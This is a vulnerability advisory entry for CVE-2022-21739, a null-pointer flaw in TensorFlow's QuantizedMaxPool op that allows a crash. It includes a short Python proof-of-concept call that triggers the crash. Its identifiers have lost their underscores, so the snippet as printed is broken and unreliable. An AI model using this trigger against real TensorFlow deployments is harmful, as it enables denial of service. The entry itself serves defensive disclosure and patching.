PT-2022-15079

CVE-2022-21739

·

Published

2022-02-03

·

Updated

2026-07-09

Description by

CVSS 4.0
7.1
High
MetricsAV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Name of the Vulnerable Software and Affected Versions TensorFlow versions prior to 2.8.0 TensorFlow versions 2.7.1, 2.6.3, and 2.5.3 are also affected
Description The implementation of QuantizedMaxPool has an undefined behavior where user-controlled inputs can trigger a reference binding to a null pointer. This issue can be exploited when using the tf.raw ops.QuantizedMaxPool function with specific parameters, such as input, min input, max input, ksize, strides, and padding. For example, the following code snippet demonstrates the vulnerability:
python
import tensorflow as tf

tf.raw ops.QuantizedMaxPool(
  input = tf.constant([[[[4]]]], dtype=tf.quint8),
  min input = [],
  max input = [1],
  ksize = [1, 1, 1, 1],
  strides = [1, 1, 1, 1],
  padding = "SAME", name=None
)
The issue has been reported by Faysal Hossain Shezan from the University of Virginia.
Recommendations For TensorFlow versions prior to 2.8.0, update to version 2.8.0 or later to resolve the issue. For TensorFlow versions 2.7.1, 2.6.3, and 2.5.3, update to the respective patched versions to resolve the issue. As a temporary workaround, consider avoiding the use of the QuantizedMaxPool function until a patch is available.
Exploitability
Exploit
Fix
Impacts
Vendors
Affected products
Related identifiers
GHSA-3MW4-6RJ6-74G5
BIT-TENSORFLOW-2022-21739
OPENSUSE-SU-2024:12116-1
PYSEC-2022-118
PYSEC-2022-63
PYSEC-2026-3094
Found an issue in the description? Have something to add? Feel free to write us 👾